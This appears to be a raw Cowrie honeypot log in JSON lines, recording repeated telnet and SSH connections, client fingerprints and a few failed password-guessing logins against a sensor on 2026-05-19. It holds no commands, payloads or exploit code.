{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50086,"dst_ip":"10.17.0.5","dst_port":23,"session":"d972a3246c11","protocol":"telnet","message":"New connection: 192.119.13.58:50086 (10.17.0.5:23) [session: d972a3246c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:00.888497Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50782,"dst_ip":"10.17.0.5","dst_port":23,"session":"b521f0c3d85e","protocol":"telnet","message":"New connection: 192.119.13.58:50782 (10.17.0.5:23) [session: b521f0c3d85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:01.075189Z"}
{"eventid":"cowrie.session.closed","duration":47.05429172515869,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:06.243444Z","src_ip":"192.119.13.58","session":"dd70c1c69588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54746,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b02259bce56","protocol":"telnet","message":"New connection: 192.119.13.58:54746 (10.17.0.5:23) [session: 7b02259bce56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:09.404555Z"}
{"eventid":"cowrie.session.closed","duration":41.8501455783844,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:10.496878Z","src_ip":"192.119.13.58","session":"16b7fe19b9b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35172,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0af3ca4e76","protocol":"telnet","message":"New connection: 192.119.13.58:35172 (10.17.0.5:23) [session: 6c0af3ca4e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:11.535494Z"}
{"eventid":"cowrie.session.closed","duration":37.970922231674194,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:13.315851Z","src_ip":"192.119.13.58","session":"a3749b56eb5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.23149371147156,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:15.481947Z","src_ip":"192.119.13.58","session":"288f0c049885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59288,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2dd5c226412","protocol":"telnet","message":"New connection: 192.119.13.58:59288 (10.17.0.5:23) [session: f2dd5c226412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:25.277379Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59342,"dst_ip":"10.17.0.5","dst_port":23,"session":"569e03d2943c","protocol":"telnet","message":"New connection: 192.119.13.58:59342 (10.17.0.5:23) [session: 569e03d2943c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:25.289167Z"}
{"eventid":"cowrie.session.closed","duration":41.96837854385376,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:25.857944Z","src_ip":"192.119.13.58","session":"af21bf9d312c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39238,"dst_ip":"10.17.0.5","dst_port":23,"session":"fadac85a65c4","protocol":"telnet","message":"New connection: 192.119.13.58:39238 (10.17.0.5:23) [session: fadac85a65c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:27.393169Z"}
{"eventid":"cowrie.session.closed","duration":54.27261209487915,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:28.277026Z","src_ip":"192.119.13.58","session":"1c6ff7945ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53430,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c27d896ddc","protocol":"telnet","message":"New connection: 192.119.13.58:53430 (10.17.0.5:23) [session: 45c27d896ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:31.011606Z"}
{"eventid":"cowrie.session.closed","duration":38.85685634613037,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:31.449346Z","src_ip":"192.119.13.58","session":"b5888f699674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.55701494216919,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:31.900366Z","src_ip":"192.119.13.58","session":"4be603f46f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60276,"dst_ip":"10.17.0.5","dst_port":23,"session":"874a0017c6bf","protocol":"telnet","message":"New connection: 192.119.13.58:60276 (10.17.0.5:23) [session: 874a0017c6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:32.760384Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60598,"dst_ip":"10.17.0.5","dst_port":23,"session":"c72126465f9b","protocol":"telnet","message":"New connection: 192.119.13.58:60598 (10.17.0.5:23) [session: c72126465f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:32.852664Z"}
{"eventid":"cowrie.session.closed","duration":36.50802564620972,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:35.091365Z","src_ip":"192.119.13.58","session":"432aa1ab82dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.84613084793091,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:38.278937Z","src_ip":"192.119.13.58","session":"13ab01ac0bdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55704,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca2bc359bcc","protocol":"telnet","message":"New connection: 192.119.13.58:55704 (10.17.0.5:23) [session: 3ca2bc359bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:38.462050Z"}
{"eventid":"cowrie.session.closed","duration":41.68254804611206,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:40.578000Z","src_ip":"192.119.13.58","session":"b79a0a26e2da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.381651401519775,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:41.270008Z","src_ip":"192.119.13.58","session":"d972a3246c11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.25980186462402,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:41.334851Z","src_ip":"192.119.13.58","session":"b521f0c3d85e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54076,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5194382bbac","protocol":"telnet","message":"New connection: 192.119.13.58:54076 (10.17.0.5:23) [session: f5194382bbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:45.344586Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54178,"dst_ip":"10.17.0.5","dst_port":23,"session":"5483726d5c73","protocol":"telnet","message":"New connection: 192.119.13.58:54178 (10.17.0.5:23) [session: 5483726d5c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:45.363086Z"}
{"eventid":"cowrie.session.closed","duration":0.005708932876586914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:45.368657Z","src_ip":"192.119.13.58","session":"5483726d5c73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.51756191253662,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:47.052907Z","src_ip":"192.119.13.58","session":"6c0af3ca4e76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.32062244415283,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:48.725042Z","src_ip":"192.119.13.58","session":"7b02259bce56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46984,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4e3364d4f3b","protocol":"ssh","message":"New connection: 193.32.162.145:46984 (10.17.0.5:22) [session: e4e3364d4f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:49.790547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:49.800551Z","src_ip":"193.32.162.145","session":"e4e3364d4f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:49.907896Z","src_ip":"193.32.162.145","session":"e4e3364d4f3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:50.227962Z","src_ip":"193.32.162.145","session":"e4e3364d4f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47248,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd719e88b540","protocol":"telnet","message":"New connection: 192.119.13.58:47248 (10.17.0.5:23) [session: fd719e88b540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:50.832518Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:51.336051Z","src_ip":"193.32.162.145","session":"e4e3364d4f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.139.67","src_port":65148,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac6e57604a2","protocol":"telnet","message":"New connection: 184.105.139.67:65148 (10.17.0.5:23) [session: 7ac6e57604a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:56.700002Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46774,"dst_ip":"10.17.0.5","dst_port":23,"session":"60fc0f048574","protocol":"telnet","message":"New connection: 192.119.13.58:46774 (10.17.0.5:23) [session: 60fc0f048574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:57.928622Z"}
{"eventid":"cowrie.session.closed","duration":33.474042892456055,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:58.751283Z","src_ip":"192.119.13.58","session":"f2dd5c226412","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0750200748443604,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:58.774905Z","src_ip":"184.105.139.67","session":"7ac6e57604a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52818,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c59f217717f","protocol":"telnet","message":"New connection: 192.119.13.58:52818 (10.17.0.5:23) [session: 7c59f217717f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:08:59.441125Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":50184,"dst_ip":"159.203.135.109","dst_port":22,"session":"de7afe05705c","protocol":"ssh","message":"New connection: 103.15.222.183:50184 (159.203.135.109:22) [session: de7afe05705c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:01.070260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:01.076523Z","src_ip":"103.15.222.183","session":"de7afe05705c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:01.323022Z","src_ip":"103.15.222.183","session":"de7afe05705c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhctybq","message":"login attempt [root/fhctybq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:02.061967Z","src_ip":"103.15.222.183","session":"de7afe05705c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38836,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb1cd3910124","protocol":"telnet","message":"New connection: 192.119.13.58:38836 (10.17.0.5:23) [session: eb1cd3910124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:03.079014Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":45436,"dst_ip":"10.17.0.5","dst_port":22,"session":"d98d3954448f","protocol":"ssh","message":"New connection: 45.78.204.254:45436 (10.17.0.5:22) [session: d98d3954448f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:03.136616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:03.143762Z","src_ip":"45.78.204.254","session":"d98d3954448f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:03.311381Z","src_ip":"103.15.222.183","session":"de7afe05705c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:03.375628Z","src_ip":"45.78.204.254","session":"d98d3954448f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43626,"dst_ip":"10.17.0.5","dst_port":23,"session":"63029a0dde71","protocol":"telnet","message":"New connection: 192.119.13.58:43626 (10.17.0.5:23) [session: 63029a0dde71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:04.310185Z"}
{"eventid":"cowrie.session.closed","duration":38.55829334259033,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:05.951356Z","src_ip":"192.119.13.58","session":"fadac85a65c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:06.013746Z","src_ip":"45.78.204.254","session":"d98d3954448f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.14063858985901,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:07.429670Z","src_ip":"192.119.13.58","session":"569e03d2943c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:07.769303Z","src_ip":"45.78.204.254","session":"d98d3954448f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.434245109558105,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:11.194523Z","src_ip":"192.119.13.58","session":"874a0017c6bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.36729288101196,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:13.219841Z","src_ip":"192.119.13.58","session":"c72126465f9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38756,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ba372e57c5","protocol":"telnet","message":"New connection: 192.119.13.58:38756 (10.17.0.5:23) [session: e8ba372e57c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:17.431746Z"}
{"eventid":"cowrie.session.closed","duration":36.41731929779053,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:21.761752Z","src_ip":"192.119.13.58","session":"f5194382bbac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.412692070007324,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:21.874662Z","src_ip":"192.119.13.58","session":"3ca2bc359bcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59000873565674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:22.422450Z","src_ip":"192.119.13.58","session":"fd719e88b540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59544,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b9f01bb36bf","protocol":"telnet","message":"New connection: 192.119.13.58:59544 (10.17.0.5:23) [session: 8b9f01bb36bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:22.625590Z"}
{"eventid":"cowrie.session.closed","duration":51.68601441383362,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:22.697446Z","src_ip":"192.119.13.58","session":"45c27d896ddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33140,"dst_ip":"10.17.0.5","dst_port":23,"session":"291ead3f0b3c","protocol":"telnet","message":"New connection: 192.119.13.58:33140 (10.17.0.5:23) [session: 291ead3f0b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:23.072585Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50554,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b5311c2181e","protocol":"telnet","message":"New connection: 192.119.13.58:50554 (10.17.0.5:23) [session: 0b5311c2181e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:27.137307Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55066,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7460ad27ba","protocol":"telnet","message":"New connection: 192.119.13.58:55066 (10.17.0.5:23) [session: fb7460ad27ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:28.219438Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60372,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7c50c3cf542","protocol":"telnet","message":"New connection: 192.119.13.58:60372 (10.17.0.5:23) [session: d7c50c3cf542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:29.526078Z"}
{"eventid":"cowrie.session.closed","duration":32.176013708114624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:35.254888Z","src_ip":"192.119.13.58","session":"eb1cd3910124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57982,"dst_ip":"10.17.0.5","dst_port":23,"session":"c75aa0892bf6","protocol":"telnet","message":"New connection: 192.119.13.58:57982 (10.17.0.5:23) [session: c75aa0892bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:35.661041Z"}
